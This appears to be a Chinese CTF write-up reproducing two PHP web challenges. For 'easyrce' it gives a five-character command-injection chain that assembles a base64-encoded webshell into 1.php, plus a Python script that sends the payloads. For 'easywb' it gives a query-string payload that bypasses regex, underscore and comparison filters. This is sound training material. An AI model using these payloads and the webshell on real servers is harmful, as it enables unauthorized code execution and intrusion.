QLNU web题目复现

it2025-10-13  9

复现题目的时候写进去了很多东西,这些文件又有反斜杠,删也删不掉(可能是因为我太菜了我不会),就想着能不能整一个docker的图形化界面(懒是第一生产力)

安装Portainer

一个轻量级图形化管理

查看portainer镜像

docker search portainer

选择喜欢风格镜像,下载

docker pull portainer/portainer

启动容器

docker run -d --name portainerUI -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer

浏览器访问

在Ubuntu里面使用浏览器访问,http://127.0.0.1::9000,设置密码就可以进入仪表盘了

easyrce

参数换为c,回显不同的界面,点击help出现源码

<?php $sandbox = '/var/www/sandbox/' . md5("easy" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['helpme'])) { highlight_file(__FILE__); } if (isset($_GET['ret'])) { @exec('/bin/rm -rf ' . $sandbox); } if(strlen($_GET['c']) <= 5 && isset($_GET['c'])) { @exec($_GET['c']); } else { die('Too Long!'); }

会在var/www目录下创建easy+ip地址的并且md5加密的文件名

REMOTE_ADDR

表示发出请求的远程主机的 IP地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP

五字符执行,之前在T-STAR里面见过七字符的,但是没有整出flag,思路还是一样的

前置知识

创建文件

ls -t根据时间从晚到早输出

sh 将文件里面的东西当作命令执行

反斜杠\可以命令拼接

dir不换行输入到文件中

${IFS}代替空格

payload #ls -th >f写入0文件,后期传入payload时,通过sh执行0文件即可生成f文件,sh再去执行f文件即可得到一句话木马

dir f> ht- sl *>v rev *v>0 #使用base64编码的一句话写入1.php文件,其中${IFS}替换空格 a hp p\ 1.\ >\ -d\ \ \ 64\ se\ ba\ |\ 7\ Sk\ X\ x\ Fs\ FV\ d\ X0\ k\ g\ bC\ h\ XZ\ gZ\ A\ aH\ w\ D9\ P\ S}\ IF\ {\ $\ o\ ch\ e\ #ls先执行0文件(ls -th >f),得到f文件,sh再去执行f文件就可以得到1.php sh 0 sh f

POC

#!/usr/bin/python #-*- coding: UTF-8 -*- import requests url = "http://192.168.0.132:1000/?c={0}" print("[+]start attack!!!") with open("payload.txt", "r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) # 检查是否攻击成功 test = requests.get("http://192.168.0.132:1000/1.php") if test.status_code == requests.codes.ok: print("[*]Attack success!!!")

使用蚁剑链接即可 这个里面有一个坑,要在html文件夹下面存在sandbox文件,并且有写入的权限,这也是为啥我写的文件只有1. 没有后缀的原因,唉 菜死了

easywb

<?php include 'flag.php'; highlight_file(__FILE__); error_reporting(0); $ia = "index.php"; $query = $_SERVER['QUERY_STRING']; //qlnu=qlnuisfun%0a绕过 if (preg_match('/^qlnuisfun$/', $_GET['qlnu']) && $_GET['qlnu'] !== 'qlnuisfun') { $ia = $_GET["ia"]; } //file_get_contents函数可以使用php//input:和data绕过 #ia=data://text/plain;base64,cWxudWlzZnVu if(file_get_contents($ia)!=='qlnuisfun') { die('go away'); } //不允许传入的变量名和值出现_和%5f if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('no!'); } //传入的q_l_n_u不等于666,也不能以666开头或结尾 if($_GET['q_l_n_u'] !== '666' && preg_match('/^666$/', $_GET['q_l_n_u'])){ echo "let's go";} //第一个绕过可以使用空格或者点或者%5F(substr_count函数区分大小写),第二个绕过在末尾使用%0a,完整的payload如下 ?q l n u=666%0a ?q.l.n.u=666%0a ?q%5Fl%5Fn%5Fu=666%0a //===可以用数组绕过tql[]=1 if($_GET) $tql = $_GET['tql']; $action=''; if(substr($_GET['tql'], 32) === sha1($_GET['tql'])) { //extract函数将flag的变量值覆盖 extract($_GET["flag"]); } //前面action='',这里flag['action']=givemeflag if($action === 'givemeflag'){ echo $flag; } ?qlnu=qlnuisfun%0a&ia=data://text/plain;base64,cWxudWlzZnVu&tql[]=1&flag['action']=givemeflag ?> go away
最新回复(0)